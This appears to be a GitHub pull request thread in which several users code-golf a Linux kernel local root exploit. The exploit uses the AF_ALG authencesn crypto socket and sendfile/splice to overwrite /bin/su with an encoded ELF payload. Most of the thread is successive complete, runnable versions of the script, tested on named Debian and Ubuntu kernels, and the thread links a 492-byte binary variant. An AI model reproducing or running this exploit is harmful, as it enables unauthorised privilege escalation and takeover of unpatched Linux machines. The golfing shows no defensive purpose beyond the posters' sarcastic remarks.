Golf harder (-20 bytes)#5
Conversation
Thanks for this clean and well documented PoC that really helps defenders understand the root cause of the vulnerability. /s This commit refactors the PoC to remove 20 unneeded bytes, saving disk space.
|
Congrats, you were faster opening the PR! 🤣 I've found some more ways to save some precious bytes, I'm down to a total of 650 bytes at the moment (saving 82 bytes compared to the original exploit): #!/usr/bin/env python3
import os as g,zlib,socket as s,base64 as b
def c(f,t,c):
a=s.socket(38,5,0);a.bind(("aead","authencesn(hmac(sha256),cbc(aes))"));h=279;v=a.setsockopt;v(h,1,b'\b\0\x01\0\0\0\0\x10'+b'\0'*32);v(h,5,None,4);u,_=a.accept();o=t+4;i=b'\0';u.sendmsg([b"A"*4+c],[(h,3,i*4),(h,2,b'\x10'+i*19),(h,4,b'\b'+i*3),],1<<15);r,w=g.pipe();n=g.splice;n(f,w,o,0);n(r,u.fileno(),o)
try:u.recv(8+t)
except:0
f=g.open("/usr/bin/su",0);i=0;e=zlib.decompress(b.b64decode("eNqrd/VxY2JkZIABJgY7BhCvgsEBzHdgwAQODBYMMB0gmhVNFpmeB+XBaAYBCGV4wPD/hkx+Vo9eW34Q91uWdcRMflbD/1k2Efys+kmZefrFGQwMDAAywxDT"))
while i<len(e):c(f,i,e[i:i+4]);i+=4
g.system("su")Do we really need the shebang though? Tested on Debian 13 (6.12.74+deb13+1-cloud-amd64). |
|
Unfortunately, all of them are the same length: |
|
incredible |
But |
|
Better yet: swap that |
|
Or to trade off byte count for being easy to post in GitHub: #coding=l1
e=zlib.decompress("xÚ«w…".encode("l1"))
…Where that "xÚ«w" string should be the full binary compressed payload; the only escape required is the null at position -5 with That (and the byte from Lynn, and removing a stray comma) gets Julian's 650 bytes down to 620. But I can't exactly post it in a comment here or even in a gist because it's not utf-8 text anymore. |
|
The ELF header can be further optimized.
|
|
We can still save 7 bytes with an quick win:
Using @keturn a85decode will also save 8 bytes, dropping Julian's 650 bytes to 635 Then on the while loop, we can save 3 more extra char by slicing e until it's exhausted instead of checking i <len(e), dropping to 632 Using a slightly more optimized ELF and removing the syscall exit, we can drop down size (compressed + a85) from 112 bytes to 98 bytes, but we might need to escape some chars if using a85decode. Going to b85decode will gives also 98 bytes, without the need to escape any char. (total 618bytes) Clearly we can remove the shebang from the python script. Dropping down to 595 bytes. Tested on ubuntu 24.04 / 6.8.0-110-generic with python 3.12.3 |
|
Some further optimizations based on @sanecz's version:
Total savings: 44 bytes, so total length is 551 bytes (with trailing newline) Tested on multiple systems. |
|
And to replace |
|
4 more bytes saving import os,zlib,socket as s,base64 as b
f=os.open("/bin/su",0);i=0;e=zlib.decompress(b.b85decode("c-pIX^>JfjWMqH=CI&kO5U+y40nB$`zyuBq77Q>QAet3T7MYfT@?bQB0EEiQj4=Gq&+5@@%Ld|EN6h4B)lbUI(=X0o001lY3w{"))
def c(t,c):
a=s.socket(38,5);a.bind(("aead","authencesn(hmac(sha256),cbc(aes))"));h=279;v=a.setsockopt;i=b'\0';v(h,1,b'\b\0\x01\0\0\0\0\x10'+i*32);v(h,5,None,4);u,_=a.accept();u.sendmsg([b"A"*4+c],[(h,3,i*4),(h,2,b'\x10'+i*19),(h,4,b'\b'+i*3)],8**5);os.sendfile(u.fileno(),f,0,t+4)
try:u.recv(8+t)
except:0
while e[i:]:c(i,e[i:i+4]);i+=4
os.system("su")
|
|
[UPDATE] Actually 547 + trailing new line f=os.open("/bin/su",0);i=0;e=zlib.decompress(b.b85decode("c-pIX^>JfjWMqH=CI&kO5U+y40nB$`zyuBq77Q>QAet3T7MYfT@?bQB0EEiQj4=Gq&+5@@%Ld|EN6h4B)lbUI(=X0o001lY3w{"))
def c(t,c):
a=s.socket(38,5);a.bind(("aead","authencesn(hmac(sha256),cbc(aes))"));h=279;v=a.setsockopt;i=b'\0';y=b'\20';v(h,1,b'\b\0\1'+i*4+y+i*32);v(h,5,None,4);u,_=a.accept();u.sendmsg([b"A"*4+c],[(h,3,i*4),(h,2,y+i*19),(h,4,b'\b'+i*3)],8**5);os.sendfile(u.fileno(),f,0,t)
try:u.recv(4+t)
except:0
while j:=e[i:(i:=i+4)]:c(i,j)
os.system("su") |
|
Can be lowered to 542 + NL, taking advantage of import os,zlib,socket as s,base64 as b
f=os.open("/bin/su",0);i=0;e=zlib.decompress(b.b85decode("c-pIX^>JfjWMqH=CI&kO5U+y40nB$`zyuBq77Q>QAet3T7MYfT@?bQB0EEiQj4=Gq&+5@@%Ld|EN6h4B)lbUI(=X0o001lY3w{"))
def c(t,c):
a=s.socket(38,5);a.bind(("aead","authencesn(hmac(sha256),cbc(aes))"));h=279;v=a.setsockopt;i=b'\0';y=b'\20';v(h,5,v(h,1,b'\b\0\1'+i*4+y+i*32),4);u,_=a.accept();u.sendmsg([b"A"*4+c],[(h,3,i*4),(h,2,y+i*19),(h,4,b'\b'+i*3)],8**5);os.sendfile(u.fileno(),f,0,t)
try:u.recv(4+t)
except:0
while j:=e[i:(i:=i+4)]:c(i,j)
os.system("su") |
|
Down to 524+NL by inlining the function import os,zlib,socket as s,base64 as b
f=os.open("/bin/su",0);t=0;e=zlib.decompress(b.b85decode("c-pIX^>JfjWMqH=CI&kO5U+y40nB$`zyuBq77Q>QAet3T7MYfT@?bQB0EEiQj4=Gq&+5@@%Ld|EN6h4B)lbUI(=X0o001lY3w{"))
while c:=e[t:(t:=t+4)]:
a=s.socket(38,5);a.bind(("aead","authencesn(hmac(sha256),cbc(aes))"));h=279;v=a.setsockopt;i=b'\0';y=b'\20';v(h,5,v(h,1,b'\b\0\1'+i*4+y+i*32),4);u,_=a.accept();u.sendmsg([b"A"*4+c],[(h,3,i*4),(h,2,y+i*19),(h,4,b'\b'+i*3)],8**5);os.sendfile(u.fileno(),f,0,t)
try:u.recv(4+t)
except:0
os.system("su") |
|
Compressing payload without zlib header/trailer saves 5 bytes import os,zlib,socket as s,base64 as b
f=os.open("/bin/su",0);t=0;e=zlib.decompress(b.b85decode("t9SKrV`5}vfB_~3I|dN1g24gIcVNH-4h$9yFdZP86-^eImVxqMG=l(y%F2u|{Ljzo(QC^F;#o(`<Y(1S%FNR*&R_rl"),-8)
while c:=e[t:(t:=t+4)]:
a=s.socket(38,5);a.bind(("aead","authencesn(hmac(sha256),cbc(aes))"));h=279;v=a.setsockopt;i=b'\0';y=b'\20';v(h,5,v(h,1,b'\b\0\1'+i*4+y+i*32),4);u,_=a.accept();u.sendmsg([b"A"*4+c],[(h,3,i*4),(h,2,y+i*19),(h,4,b'\b'+i*3)],8**5);os.sendfile(u.fileno(),f,0,t)
try:u.recv(4+t)
except:0
os.system("su")Score: 519+NL |
|
Replaced os.sendfile(u.fileno(),...) with u.sendfile(...), for that to work, replaced os.open with open. Saved 12 bytes, now 508 bytes (including trailing newline). |
|
Good catch, with sendfile and open. Still some small improvements:
[EDITED] import os,zlib,socket as s,base64 as b
f=open("/bin/su","rb");t=0;e=zlib.decompress(b.b85decode("t9SKrV`5}vfB_~3I|dN1g24gIcVNH-4h$9yFdZP86-^eImVxqMG=l(y%F2u|{Ljzo(QC^F;#o(`<Y(1S%FNR*&R_rl"),-8)
while c:=e[t:(t:=t+4)]:
a=s.socket(38,5);a.bind(("aead","authencesn(hmac(sha256),cbc(aes))"));h=279;v=a.setsockopt;i=b'\0';y=b'\20';v(h,5,v(h,1,b'\b\0\1'+i*4+y+i*32),4);u,_=a.accept();u.sendmsg([c+c],[(h,3,i*4),(h,2,y+i*19),(h,4,b'\b'+i*3)],8**5)
try:u.recv(4+u.sendfile(f,0,t))
except:0
os.system("su")7 bytes saved Putting |
import os,zlib,socket as s,base64 as b
f=open("/bin/su","rb");h=279;t,=i=b"\0";y=b"\20";e=zlib.decompress(b.b85decode("t9SKrV`5}vfB_~3I|dN1g24gIcVNH-4h$9yFdZP86-^eImVxqMG=l(y%F2u|{Ljzo(QC^F;#o(`<Y(1S%FNR*&R_rl"),-8)
while c:=e[t:(t:=t+4)]:
try:a=s.socket(38,5);a.bind(("aead","authencesn(hmac(sha256),cbc(aes))"));v=a.setsockopt;v(h,5,v(h,1,b"\b\0\1"+i*4+y+i*32),4);u,_=a.accept();u.sendmsg([c+c],[(h,3,i*4),(h,2,y+i*19),(h,4,b"\b"+i*3)],8**5);u.recv(4+u.sendfile(f,0,t))
except:0
os.system("su")Score: 498 bytes + trailing NL [UPDATE] |
|
Imagine using python in 2026 Me and @drank40 went with a pure binary, even smaller at 492-byte, with no libraries at all. it will basically run everywhere. We had to pull some pretty crazy black magic, check it out here: (our exploit uses itself as the elf payload) |
Thanks for this clean and well documented PoC that really helps defenders understand the root cause of the vulnerability. /s
This commit refactors the PoC to remove 20 unneeded bytes, saving disk space. Tested on Ubuntu 24.04.4 LTS (Kernel version 6.8.0-110-generic).